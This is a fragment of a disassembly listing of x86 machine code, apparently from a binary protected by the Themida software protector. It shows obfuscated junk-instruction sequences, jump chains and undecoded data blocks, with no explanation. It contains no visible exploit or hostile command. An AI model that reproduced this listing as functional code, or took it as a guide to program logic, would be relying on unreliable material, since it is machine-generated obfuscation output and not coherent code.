dd 53240C8Bh, 241C8B54h, 4C481h, 0C3810000h, 4, 3304C383h
dd 0BBE9241Ch
db 0C7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_554133: ; CODE XREF: Themida_:0054E6E1j
add esi, ebx
pop ebx
add esi, 4
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
jmp loc_550E12
; ---------------------------------------------------------------------------
db 0E9h
dd 0FFFF9C79h, 0BE9E589h, 0E9000063h, 0FFFF9C6Dh, 8859CB00h
dd 241C8BD9h, 804C483h, 0C8B66CBh, 2C48324h, 0C380CBFEh
dd 0FFD80082h, 835B2434h, 0EE0404C4h, 0FF9E24E9h, 5E95BFFh
db 0CEh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_554187: ; CODE XREF: Themida_:00560786j
mov [esp], eax
push dword ptr [esp+4]
pop eax
pop dword ptr [esp]
mov esp, [esp]
push 38A5h
jmp loc_54F26A
; ---------------------------------------------------------------------------
db 5Ch
dd 2246C8Ah, 2244488h, 0C1685866h, 89000060h, 0EA882414h
dd 0D3F6DA86h, 0D588DA86h, 0EE88525Ah, 4246C8Ah, 4247488h
dd 5A2434FFh, 81E18951h, 4C1h, 1C16E900h, 895D0000h, 0C7015AD0h
dd 582434FFh, 8304C483h, 3C8904ECh, 2474FF24h, 243C8B04h
dd 8F04C483h, 248B2404h, 24040824h, 9BBFE99Ch, 0E3C1FFFFh
dd 0C406E908h, 5B660000h, 5A66F030h, 0FF9DBEE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_554219: ; CODE XREF: Themida_:0054DDE4j
xor edx, 3F527202h
xor edx, ecx
pop ecx
jmp loc_55ECF6
; ---------------------------------------------------------------------------
db 8Fh
dd 248B2404h, 24248924h, 4240483h, 4C6815Eh, 51000000h
dd 501CBE56h, 0E6813F87h, 7A2B161Dh, 7869E9h, 0C8B6600h
dd 1A126824h, 20E90000h
db 0B1h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55425B: ; CODE XREF: Themida_:0055437Dj
sub esp, 4
mov [esp], edi
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
mov esp, [esp]
loc_55426F: ; CODE XREF: Themida_:00553B99j
push 7622h
mov [esp], ebx
push edi
push 4761h
mov [esp], edx
jmp loc_55A5A0
; ---------------------------------------------------------------------------
db 81h, 0C7h, 0E4h
dd 0F738A44Fh, 5F5157D7h, 87D1F759h, 0D8BB53CFh, 31B49997h
dd 0F8015BDFh, 77D8E9h, 1BB00h, 0F2E90000h, 81000061h
dd 4EAh, 24148700h, 0DB71E95Ch
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5542BE: ; CODE XREF: Themida_:005515FAj
or eax, eax
jz loc_558D5B
push 4020h
mov [esp], edx
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
mov edx, [esp]
add esp, 4
jmp loc_560952
; ---------------------------------------------------------------------------
aXs3 db 'Xé3µ',0
align 4
aLSO db '‹$$éÒo',0
align 4
dd 4C4835Bh, 7C9EE9h
db 0
; ---------------------------------------------------------------------------
loc_5542FD: ; CODE XREF: Themida_:005577DAj
sub edi, 435D6763h
and eax, edi
push dword ptr [esp]
jmp loc_55838C
; ---------------------------------------------------------------------------
loc_55430D: ; CODE XREF: Themida_:005517C6j
add ebx, 4
add ebx, 4
jmp loc_551C62
; ---------------------------------------------------------------------------
loc_55431B: ; CODE XREF: Themida_:0055CF50j
push 0A35h
mov [esp], eax
push 76263ADBh
pop eax
sub eax, 537585DAh
add ebx, eax
jmp loc_561808
; ---------------------------------------------------------------------------
db 5Ah, 81h, 0ECh
dd 4, 0FF240489h, 0FF042474h, 0E9582434h, 0FFFFF2C8h, 215E95Eh
dd 9ABF0000h, 81769F51h, 0F8E998EFh, 0E9FE2957h, 6C76h
dd 327368h, 0BDD6E900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55436E: ; CODE XREF: Themida_:00561AB3j
add esp, 4
push edi
mov edi, esp
add edi, 4
add edi, 4
jmp loc_55425B
; ---------------------------------------------------------------------------
loc_554382: ; CODE XREF: Themida_:00561234j
pop ecx
jmp loc_551C3E
; ---------------------------------------------------------------------------
loc_554388: ; CODE XREF: Themida_:00559782j
mov ebx, esp
jmp loc_553EE5
; ---------------------------------------------------------------------------
aIXsN db 'ˆÅXé×n',0
dw 500h
dd 6C6879FDh, 0E956D029h, 0D4B6h
; ---------------------------------------------------------------------------
loc_5543A4: ; CODE XREF: Themida_:00552D5Bj
add ecx, 13FBF520h
mov eax, ecx
pop ecx
add eax, 5CF44210h
sub esp, 4
mov [esp], edx
jmp loc_55806C
; ---------------------------------------------------------------------------
db 81h, 4, 24h
dd 4, 5624048Fh, 4BEh, 24740100h, 24348B04h, 0E904C483h
dd 0ABE8h, 5AD70158h, 7798E950h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5543E6: ; CODE XREF: Themida_:0055C216j
xchg esi, [esp]
mov esp, [esp]
sub esp, 4
mov [esp], edi
mov edi, 49AB487Ah
shl edi, 3
shr edi, 4
push 585Fh
mov [esp], eax
jmp loc_55AA74
; ---------------------------------------------------------------------------
db 0BBh, 10h, 1Bh
dd 0DF01A2E4h, 5FF9895Bh, 0E959CA01h, 234Dh, 0D6F6D3B6h
dd 6673F680h, 0D2FBE952h, 0E6890000h, 4C681h, 0C6830000h
dd 24348704h, 0AB6AE95Ch
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_554442: ; CODE XREF: Themida_:00550917j
mov edi, [esp]
add esp, 4
jmp loc_55E809
; ---------------------------------------------------------------------------
dd 4B951h, 0C8010000h, 5EF46859h, 3C890000h, 278DBF24h
dd 8CE92F1Ah
db 81h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55446B: ; CODE XREF: Themida_:0055C855j
pop esp
movzx eax, al
lea eax, [edi+eax*4]
push 7265h
mov [esp], eax
jmp loc_54DDC5
; ---------------------------------------------------------------------------
db 0FFh
dd 2C8B2434h, 4C48324h, 81E68956h, 4C6h, 4C68100h, 0E9000000h
dd 0FFFFE70Ch, 48BC101h, 10EBE924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5544A6: ; CODE XREF: Themida_:0055E45Bj
mov ebp, esi
jmp loc_550989
; ---------------------------------------------------------------------------
db 1, 0D0h, 0E9h
dd 5691h
; ---------------------------------------------------------------------------
loc_5544B4: ; CODE XREF: Themida_:0054E10Fj
xor al, cl
push dword ptr [esp]
push dword ptr [esp]
push dword ptr [esp]
pop ecx
add esp, 4
push 7273h
jmp loc_54F50B
; ---------------------------------------------------------------------------
dd 8702E9C1h, 87D7F7F9h, 0F2C981F9h, 81542C35h, 0F3BF1DE9h
dd 8BCF8902h, 0C481240Ch, 4, 4D38E9h, 0B60F6600h, 1EE957CCh
dd 89FFFFCCh, 4C181E1h, 83000000h, 0C8704C1h, 0F6585C24h
dd 4EC83DDh, 6DF4E9h, 4C48300h, 0C7FED7F6h, 6866h, 0FFA85DE9h
dd 27E95DFFh, 40000D2h, 6FDAE954h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_554536: ; CODE XREF: Themida_:0055CC60j
xor [esp+4], esi
pop esi
pop esi
push edi
jmp loc_551895
; ---------------------------------------------------------------------------
dw 0EB29h
dd 434EC381h, 9E96952h
db 0CEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55454F: ; CODE XREF: Themida_:0055CC1Aj
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
mov esp, [esp]
push 5363h
mov [esp], esi
jmp loc_55E35D
; ---------------------------------------------------------------------------
db 1
dd 242C8BEFh, 4C481h, 0B9510000h, 4, 52E9CF01h
db 27h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55457F: ; CODE XREF: Themida_:0055AB98j
neg ch
inc ch
or ch, 0A4h
add ch, 42h
and ch, 0D9h
jmp loc_550C81
; ---------------------------------------------------------------------------
aSco db '\éæŽ',0
dw 5900h
dd 4C481h, 0BBE90000h
db 0Ah, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5545A3: ; CODE XREF: Themida_:0055EAB3j
sub esp, 4
jmp loc_554EB3
; ---------------------------------------------------------------------------
dw 0FF50h
dd 0E9042474h, 3DECh
; ---------------------------------------------------------------------------
loc_5545B8: ; CODE XREF: Themida_:00551B67j
add esp, 4
push ebx
push 5F17h
mov [esp], edx
sub esp, 4
mov [esp], ebp
mov ebp, 500D5D25h
mov edx, ebp
pop ebp
jmp loc_5613CA
; ---------------------------------------------------------------------------
db 87h, 0Ch, 24h
dd 2F53E9h
db 0
; ---------------------------------------------------------------------------
loc_5545E5: ; CODE XREF: Themida_:005618CDj
and ecx, edx
pop edx
shr ecx, 7
push ebx
push ebp
mov ebp, 2C516649h
xor [esp+4], ebp
pop ebp
mov eax, [esp]
add esp, 4
push ecx
jmp loc_554E56
; ---------------------------------------------------------------------------
db 5Eh
dd 9EB8505Dh, 1DC7CEBh, 0CBCFE9C6h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_554612: ; CODE XREF: Themida_:00553C52j
or ecx, 61612AF4h
xor ecx, 3A667403h
dec ecx
not ecx
add ecx, 4B93C88Ch
xor ebx, ecx
pop ecx
sub ebx, 59D35067h
add esi, ebx
push dword ptr [esp]
jmp loc_5527B6
; ---------------------------------------------------------------------------
loc_55463A: ; CODE XREF: Themida_:005576C6j
add ecx, 0FFFFFFFFh
xor ecx, 99C0D142h
add ebp, ecx
pop ecx
xchg ebp, [esp]
pop esp
push ecx
push ebx
push ecx
jmp loc_559377
; ---------------------------------------------------------------------------
db 0BFh, 0A3h, 5Dh
dd 0B0E965A5h
db 16h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55465F: ; CODE XREF: Themida_:0054F776j
pop eax
jmp loc_55AD51
; ---------------------------------------------------------------------------
loc_554665: ; CODE XREF: Themida_:00557C98j
pop esp
test ecx, eax
pushf
jmp loc_54DDC5
; ---------------------------------------------------------------------------
loc_55466E: ; CODE XREF: Themida_:0055DC0Dj
pop esp
mov [esp], ecx
push eax
mov eax, 4F675914h
not eax
jmp loc_55A924
; ---------------------------------------------------------------------------
db 68h
dd 78F3h, 57240C89h, 592434FFh, 0E904C483h, 24BDh, 8104E1C1h
dd 634024C1h, 8BCF0180h, 0C483240Ch, 74FF5704h, 0E95F0424h
dd 567h, 875FF801h, 535C2404h, 8904EC83h, 0E9522404h, 4DF6h
; ---------------------------------------------------------------------------
loc_5546C4: ; CODE XREF: Themida_:00559D61j
add dword ptr [esp+4], 1527268Eh
add dword ptr [esp+4], 70BA4339h
mov edi, [esp]
push edi
mov edi, esp
jmp loc_5536E4
; ---------------------------------------------------------------------------
db 1
dd 56505EF5h, 2BEh, 0F2895200h, 8B5AD089h, 89562434h, 4C681E6h
dd 81000000h, 4C6h, 24348700h, 97ED815Ch, 5242D632h, 9B2F2DBAh
dd 0E9D2F76Ah, 0FFFFE060h, 8704C483h, 248B243Ch, 24348924h
dd 0FFD544E9h, 0C1E94FFFh, 0B000001Fh, 5E8C085h, 0B0505366h
dd 34FF2CF6h, 8BC38864h, 54572404h, 1E59E9h
db 0
; ---------------------------------------------------------------------------
loc_554749: ; CODE XREF: Themida_:0055A244j
push edx
mov dh, 48h
dec dh
not dh
jmp loc_556592
; ---------------------------------------------------------------------------
db 89h, 0D6h, 8Bh
dd 0C4832414h, 5EF20104h, 5C241487h, 9C240400h, 0FF9658E9h
dd 0E7C166FFh, 0CF816602h, 81662DBAh, 661A77C7h, 0A20AE952h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_554782: ; CODE XREF: Themida_:0055E7AAj
not edi
sub edi, 6CB36C7Fh
jmp loc_5537E1
; ---------------------------------------------------------------------------
db 0FFh
dd 0FF042474h, 34FF2434h, 0C4835924h, 5957E904h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5547A2: ; CODE XREF: Themida_:005557B0j
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
pop esp
mov [esp], ebp
mov ebp, 4E5D061Ah
not ebp
jmp loc_55A282
; ---------------------------------------------------------------------------
db 0B9h
dd 1, 0FF9E87E9h, 0F7E1D1FFh, 0D09AE9D9h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5547D6: ; CODE XREF: Themida_:0055AADAj
xor ah, 7Eh
or ch, ah
pop eax
sub ch, 7
add bl, ch
pop ecx
movzx eax, al
jmp loc_552382
; ---------------------------------------------------------------------------
dw 483h
dd 34FF0424h, 3EE95924h, 89FFFFF7h, 49E9243Ch, 81FFFFADh
dd 0D3571FE7h, 0BDC78168h, 8137D92Fh, 4E33FDEFh, 5FFA0929h
dd 260CBF57h, 9DE9720Ch, 0BBFFFFC8h, 2A916B86h, 916B82BAh
dd 0E9DA312Ah, 5F86h
; ---------------------------------------------------------------------------
loc_554830: ; CODE XREF: Themida_:0055D9C4j
add ebx, 4
jmp loc_553F9D
; ---------------------------------------------------------------------------
a_s db '_é º',0
dd 5AF32800h, 4EC81h, 0C890000h, 2899B524h, 240C8BEBh
dd 1A47E9h, 0BEBA5200h, 815BFC27h, 0D1722DEDh, 0DBEE937h
dd 0DAF70000h, 0F1E9D2F7h
db 0CAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_554873: ; CODE XREF: Themida_:0055172Ej
xchg ecx, [esp]
pop esp
loc_554877: ; CODE XREF: Themida_:00551416j
; Themida_:00556147j
push 4631h
mov [esp], ebx
push dword ptr [esp]
mov eax, [esp]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
sub esp, 4
mov [esp], edi
mov edi, esp
push ebp
push edi
push 530A4756h
pop edi
add edi, 0B53BE859h
mov ebp, edi
pop edi
add ebp, 0FFFFFFFFh
or ebp, 409B2374h
add ebp, 0B720D006h
sub edi, 583F0C82h
jmp loc_551D9C
; ---------------------------------------------------------------------------
loc_5548CB: ; CODE XREF: Themida_:0055193Cj
add edi, 6D4B6196h
add edi, ebx
jmp loc_54F25F
; ---------------------------------------------------------------------------
dd 875BDA01h, 248B2414h, 0E9F76624h, 93C6866h, 24148966h
dd 0E99C5066h, 0FFFF94D1h, 0E9F8015Fh, 9297h, 92C68159h
dd 29641014h, 7582E9EEh, 0C2810000h, 60C92BDAh, 0D7A8E959h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_554916: ; CODE XREF: Themida_:005502E6j
mov [esp], ecx
push esp
push dword ptr [esp]
pop ecx
add esp, 4
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
add ebx, edi
push dword ptr [ebx]
jmp loc_5619E8
; ---------------------------------------------------------------------------
db 83h
dd 3C8704C7h, 55575C24h, 0D90898BDh, 0A6F1E928h, 0D701FFFFh
dd 18E6E95Ah, 2C890000h, 46824h, 2C8B0000h, 4C48124h, 81000000h
dd 7C5FAFEEh, 4DC68146h, 1431B78h, 4DEE81EEh, 57431B78h
dd 7C5FAFBFh, 5FFE0146h, 9C61E9h, 4EC8100h, 89000000h
dd 4BA2414h, 29000000h, 0C719E9D7h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55499A: ; CODE XREF: Themida_:0055D858j
sub esp, 4
mov [esp], eax
push edi
mov edi, 145F4325h
jmp loc_55CA8D
; ---------------------------------------------------------------------------
loc_5549AB: ; CODE XREF: Themida_:0055AC8Aj
push small 8C1h
jmp loc_552F72
; ---------------------------------------------------------------------------
loc_5549B4: ; CODE XREF: Themida_:00556BAAj
pop ecx
or ebx, ecx
jmp loc_561C52
; ---------------------------------------------------------------------------
aQssd db 'Qéád',0
align 2
dw 5B5Dh
dd 69852D5Ah, 0E801723Dh, 3D698505h, 4875D72h, 24248B24h
dd 53D18851h, 0E9CC8850h, 8550h
; ---------------------------------------------------------------------------
loc_5549E4: ; CODE XREF: Themida_:00556EE6j
add eax, 4
push 6Ch
jmp loc_54DEC7
; ---------------------------------------------------------------------------
db 0BDh, 83h, 1Ch
dd 0EA892B29h, 5AD3895Dh, 2414F753h, 0F3814B5Bh, 0D15C9694h
dd 1C8BDA89h, 4C48324h, 46BFE281h, 46E9224Fh, 10000D6h
dd 0B8BB53FAh, 534EEF28h, 5B2414F7h, 1F86CB81h, 0EB814669h
dd 0BFAAB5B7h, 0FFB4FDE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_554A39: ; CODE XREF: Themida_:00552CBAj
sub edi, ebp
add edi, 29DF2889h
sub edi, 62627BCEh
jmp loc_55E095
; ---------------------------------------------------------------------------
dd 5F2434FFh, 81E78957h, 4C7h, 4C78100h, 68000000h, 7625h
dd 5A72E9h, 4C48300h, 37BE6656h, 7B58E963h, 0EB810000h
dd 5F5D3FF5h, 815BD901h, 4C1h, 0FB53E900h, 0B850FFFFh
dd 2BD57309h, 0A0FAE32Dh, 58C101D6h, 0DA59E955h, 4870000h
dd 0AAE95C24h
db 3Eh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_554AA7: ; CODE XREF: Themida_:0055FA90j
inc ecx
push ebp
push 0A4CFDCF2h
pop ebp
add ecx, ebp
pop ebp
xor eax, ecx
mov ecx, [esp]
add esp, 4
xor ebx, eax
push 4B19h
mov [esp], ecx
push 0BA5h
mov [esp], esp
add dword ptr [esp], 4
mov ecx, [esp]
add esp, 4
push esi
jmp loc_557DA2
; ---------------------------------------------------------------------------
dw 112Dh
dd 2937FD3Ah, 11BE56D8h, 137FD3Ah, 0C0FBE9F0h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_554AF6: ; CODE XREF: Themida_:0054DEF6j
add esi, ebx
jmp loc_561F70
; ---------------------------------------------------------------------------
loc_554AFD: ; CODE XREF: Themida_:00556594j
xor dh, 28h
not dh
add dh, 6
push edx
mov dh, 77h
sub bl, dh
pop edx
sub bl, dh
add bl, 77h
pop edx
sub bl, al
push small 17A5h
mov [esp], cx
push eax
mov eax, esp
push ecx
mov ecx, 4
add eax, ecx
pop ecx
sub eax, 4
jmp loc_556657
; ---------------------------------------------------------------------------
db 59h
dd 4C481h, 0BA520000h, 2F18513Fh, 0CA81DAF7h, 110F0433h
dd 8106EAC1h, 47BEB9F2h, 5AD70103h, 0B85FE9h, 2434FF00h
dd 2C326858h, 0C890000h, 417DE924h, 0C6010000h, 0FFD777E9h
dd 1BF181FFh, 102FB98h, 240C8BCEh, 0FFD4FAE9h, 0B7B353FFh
dd 8904EC83h, 0FBB62414h, 0C01AEE80h, 0CEFE06EEh, 0CE80C6FEh
dd 0EBEE80A2h, 9111E9h
db 0
; ---------------------------------------------------------------------------
loc_554B9D: ; CODE XREF: Themida_:0055E3D4j
sub esi, 5928310Fh
add esi, edi
add esi, 5928310Fh
mov edi, [esp]
push edx
mov edx, esp
add edx, 4
jmp loc_55EFD3
; ---------------------------------------------------------------------------
loc_554BBC: ; CODE XREF: Themida_:00555C85j
shl edx, 3
push ebx
mov ebx, 86181C76h
sub edx, ebx
pop ebx
mov edi, edx
mov edx, [esp]
jmp loc_5570E6
; ---------------------------------------------------------------------------
loc_554BD2: ; CODE XREF: Themida_:00551048j
shr edx, 1
jmp loc_55DE93
; ---------------------------------------------------------------------------
loc_554BD9: ; CODE XREF: Themida_:005516FDj
shl edx, 1
push 5A67h
mov [esp], eax
jmp loc_55986B
; ---------------------------------------------------------------------------
dd 4C38359h, 77E1E9h
db 0
; ---------------------------------------------------------------------------
loc_554BF1: ; CODE XREF: Themida_:00555974j
pop ecx
jmp loc_556CDC
; ---------------------------------------------------------------------------
loc_554BF7: ; CODE XREF: Themida_:00555948j
xchg ecx, [esp]
pop esp
sub eax, 1B7D24C5h
push dword ptr [edi+eax*4]
push dword ptr [esp]
mov eax, [esp]
jmp loc_55DA1E
; ---------------------------------------------------------------------------
dw 0C8FEh
dd 0BDE9A104h, 8FFFFF99h, 7CE92404h
db 62h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_554C1F: ; CODE XREF: Themida_:0055A0D5j
pop ecx
and esi, ecx
push dword ptr [esp]
pop ecx
push ecx
mov ecx, esp
jmp loc_552476
; ---------------------------------------------------------------------------
loc_554C2E: ; CODE XREF: Themida_:0055401Fj
push ebx
mov ebx, 7C10399Eh
or ebx, 28016BBDh
jmp loc_557E42
; ---------------------------------------------------------------------------
loc_554C3F: ; CODE XREF: Themida_:00552D51j
xor ebp, ebx
pop ebx
xor eax, ebp
pop ebp
push 2D85h
mov [esp], ebx
push 5948652Eh
mov ebx, [esp]
add esp, 4
jmp loc_5578B3
; ---------------------------------------------------------------------------
db 5, 4, 0
dd 0E8830000h, 24043304h, 33240431h, 5AE92404h, 29000011h
dd 0D0015BDAh, 0FF2434FFh, 835A2434h, 0C48104C4h, 4, 31240433h
dd 61E92404h, 290000A8h, 835D58C1h, 35E904E9h, 8700000Bh
dd 505C240Ch, 1E57BDB8h, 58C3013Fh, 8174E9h, 243C8900h
dd 0BB535F5Dh, 502C841Dh, 1C8BDF89h, 4C48324h, 2BC2C781h
dd 21E97C88h, 59000076h, 0BC46E952h, 62DFFFFh, 89217329h
dd 2434FFC2h, 4C48358h, 0F40FF05h, 2DD00170h, 700F40FFh
dd 0F5E9575Ah, 0F0000A2h, 0E28952C8h, 0CD685557h, 5D2EF231h
dd 246068h, 241C8900h, 26B4B951h, 0D9F72CAAh, 51E98141h
dd 89B24A0Ah, 0A3E959CBh, 52000016h, 0C281E289h, 4, 4C281h
dd 14870000h, 34FF5C24h, 0A9FE924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_554D3E: ; CODE XREF: Themida_:0054F654j
add esp, 4
push ecx
mov ecx, 416B00B5h
add ebx, ecx
pop ecx
add ebx, 1D885131h
add ebx, eax
push ebp
jmp loc_56183A
; ---------------------------------------------------------------------------
dd 0E924248Bh, 0FFFFB394h, 5C2DED81h, 875B0F67h, 0E95C242Ch
dd 9583h
; ---------------------------------------------------------------------------
loc_554D70: ; CODE XREF: Themida_:0055B624j
or ecx, 34097E7Eh
jmp loc_55B947
; ---------------------------------------------------------------------------
loc_554D7B: ; CODE XREF: Themida_:00561590j
shl edx, 6
add edx, 0FFFFFFFFh
push ecx
mov ecx, 0D94A234Fh
jmp loc_55CF82
; ---------------------------------------------------------------------------
loc_554D8F: ; CODE XREF: Themida_:00557A13j
add edi, ebx
mov ebx, [esp]
add esp, 4
jmp loc_55A4CA
; ---------------------------------------------------------------------------
loc_554D9C: ; CODE XREF: Themida_:005622F4j
push esp
pop ebp
push ebx
mov ebx, 4
jmp loc_55AF94
; ---------------------------------------------------------------------------
db 81h, 0C2h, 9Ch
dd 8955A8B4h, 0F6815AD6h, 465F1FECh, 15EF029h, 434CE9F0h
dd 0C1800000h, 1C8B66F4h, 2C48324h, 0B22C2C2Ch, 0CB8E9h
db 0
; ---------------------------------------------------------------------------
loc_554DD5: ; CODE XREF: Themida_:00552F40j
mov ecx, 14BA108Ah
and ecx, 1CE4521Eh
push eax
mov eax, 5C556ECh
xor ecx, eax
pop eax
and ebx, ecx
pop ecx
jmp loc_558CAC
; ---------------------------------------------------------------------------
loc_554DF1: ; CODE XREF: Themida_:0055643Fj
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_5531DD
; ---------------------------------------------------------------------------
dd 9648EF81h, 0FB892CDFh, 5BDE015Fh, 0A88AE9h, 241C8900h
dd 1227BA52h, 25BB1990h, 31199012h, 0DD015AD3h, 0E9241C8Bh
dd 0FFFFCE84h
; ---------------------------------------------------------------------------
loc_554E2C: ; CODE XREF: Themida_:00554F8Dj
push 23652C25h
jmp loc_5532D4
; ---------------------------------------------------------------------------
loc_554E36: ; CODE XREF: Themida_:0055E739j
mov edi, 4
sub ebp, edi
jmp loc_561FFE
; ---------------------------------------------------------------------------
dw 0E3B8h
dd 0F7714012h, 0ED1935D8h, 0C5298EBFh, 265FE958h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_554E56: ; CODE XREF: Themida_:005545FEj
push eax
jmp loc_55077A
; ---------------------------------------------------------------------------
loc_554E5C: ; CODE XREF: Themida_:0055FDBDj
mov ebx, [esp]
push edx
push esp
mov edx, [esp]
add esp, 4
add edx, 4
sub edx, 4
push edx
jmp loc_550499
; ---------------------------------------------------------------------------
dd 1CE768h, 241C8900h, 0C9BF5750h, 812F9459h, 624553F7h
dd 0C4C78147h, 81405D26h, 0F8627BE7h, 81DFF759h, 0E05036C7h
dd 0D8F7810Ch, 8903900Dh, 43E95FF8h
db 35h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_554EB3: ; CODE XREF: Themida_:005545A9j
mov [esp], edi
jmp loc_558213
; ---------------------------------------------------------------------------
db 0E9h
dd 0FFFF8F05h, 0C002E6C0h, 0EC8306EEh, 5D37E904h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_554ECE: ; CODE XREF: Themida_:005527B7j
push edx
mov edx, esp
add edx, 4
add edx, 4
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
pop esp
push edx
jmp loc_55C1BD
; ---------------------------------------------------------------------------
db 89h, 14h, 24h
dd 7E66E9h, 0E9DA2900h, 9C07h, 0EF81EF29h, 30D95DC7h, 0E9FE295Dh
dd 0FFFFA8C0h, 9C2424D3h, 0FF906FE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_554F15: ; CODE XREF: Themida_:00559275j
push ebx
mov bh, dh
mov dh, cl
mov cl, bh
mov ebx, [esp]
add esp, 4
and cl, 9Fh
push bx
mov bl, 4Dh
add cl, 0Eh
add cl, 2Bh
add cl, bl
sub cl, 2Bh
jmp loc_55A08C
; ---------------------------------------------------------------------------
loc_554F3C: ; CODE XREF: Themida_:00550992j
mov edi, esp
push edx
mov edx, 4
add edi, edx
mov edx, [esp]
add esp, 4
sub edi, 4
xchg edi, [esp]
pop esp
mov [esp], ecx
jmp loc_5607FA
; ---------------------------------------------------------------------------
dw 8B66h
dd 0E953240Ch, 4463h, 0CF2A10BBh, 5BDA0137h, 0FFFAA6E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_554F75: ; CODE XREF: Themida_:0055931Aj
and eax, edi
pop edi
or eax, eax
jz loc_557C76
push dword ptr [edi+1Ch]
push dword ptr [esp]
pop ecx
push esi
mov esi, esp
push edi
push edx
push ebx
jmp loc_554E2C
; ---------------------------------------------------------------------------
dw 248Bh
dd 2C38124h, 33000000h, 1C31241Ch, 23F7E924h, 0E3C10000h
dd 8EEB8102h, 810D4420h, 3006D4E3h, 35F3816Ah, 0F732874Eh
dd 71EB81DBh, 31ED0ED1h, 34AEE9D9h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_554FCA: ; CODE XREF: Themida_:0055162Aj
xor esi, 2C2B691Ch
mov ecx, esi
mov esi, [esp]
push ecx
mov ecx, esp
push esi
jmp loc_5572FB
; ---------------------------------------------------------------------------
dw 895Ch
dd 4BB5240Ch, 34E368h, 24048900h, 36F5E9h
db 0
; ---------------------------------------------------------------------------
loc_554FF1: ; CODE XREF: Themida_:0055AFF4j
mov [esp], eax
mov eax, edi
mov ebx, eax
pop eax
pop edi
add ebx, 7D1F7F32h
jmp loc_55E28D
; ---------------------------------------------------------------------------
db 0ADh, 83h, 7Fh
dd 840F0020h, 0FFFFA480h, 5BA6B951h, 0C1814C99h, 2061BD59h
dd 0E5E9CE29h
db 0A2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_555023: ; CODE XREF: Themida_:0054F036j
add esp, 4
mov edx, [esp]
add esp, 4
xor edx, 714A4A70h
mov edi, [esp]
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
mov esp, [esp]
loc_55504D: ; CODE XREF: Themida_:loc_555F4Fj
; Themida_:0055BEA0j
push dword ptr [edi+24h]
push ebx
jmp loc_551CB6
; ---------------------------------------------------------------------------
dw 158h
dd 0F7DDE9FAh, 487FFFFh, 8BDBE924h, 0C3810000h, 5033515Bh
dd 8324348Bh, 0BF5704C4h, 2C6518EDh, 1E74C381h, 0FB295AE5h
dd 1E74EB81h, 0FF5F5AE5h, 8D37E930h, 0BA52FFFFh, 35261E1Ah
dd 0FFF8B1E9h, 0EBEB81FFh, 0E977CC3Eh, 0FFFF92A9h, 6426C181h
dd 0E98138A3h, 15BA55FDh, 4BA525Bh, 29000000h, 0C335AD1h
dd 38BCE924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5550C2: ; CODE XREF: Themida_:0055EF98j
add esp, 4
sub ecx, 17333774h
sub ecx, ebx
add ecx, 17333774h
pop ebx
and ecx, 5F072C18h
shl ecx, 5
push 335Eh
mov [esp], edi
mov edi, 5EF1D31h
and ecx, edi
pop edi
add ecx, 0FFBB0004h
add edi, ecx
jmp loc_555C3B
; ---------------------------------------------------------------------------
dw 0D388h
dd 8850595Ah, 0E9C188D8h, 8814h, 815AD731h, 9F5D28C6h
dd 46EE814Dh, 0E90FA272h, 0FFFFB9BFh, 240C8B66h, 4EC81h
dd 4890000h, 24A9E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55512E: ; CODE XREF: Themida_:00558C46j
mov [esp], esi
sub esp, 4
mov [esp], ecx
jmp loc_55CE6E
; ---------------------------------------------------------------------------
db 83h
dd 248904ECh, 24048324h, 2434FF04h, 0E92434FFh, 0FFFFC133h
dd 6624248Bh, 66240C89h, 66C8B60Fh, 5EE99C51h, 5CFFFF8Ch
dd 0B9240C89h, 67116CF3h, 0E4E95753h, 500000C0h, 9D2CE9h
db 0
; ---------------------------------------------------------------------------
loc_55517D: ; CODE XREF: Themida_:0055885Ej
mov edx, [esp]
add esp, 4
add esp, 4
and ecx, esi
mov esi, [esp]
jmp loc_5515F1
; ---------------------------------------------------------------------------
dw 34FFh
a_pirsqr db '$_P‰àéŸR',0
align 2
loc_5551A2: ; CODE XREF: Themida_:005619E3j
mov ecx, [esp]
add esp, 4
jmp loc_5610D6
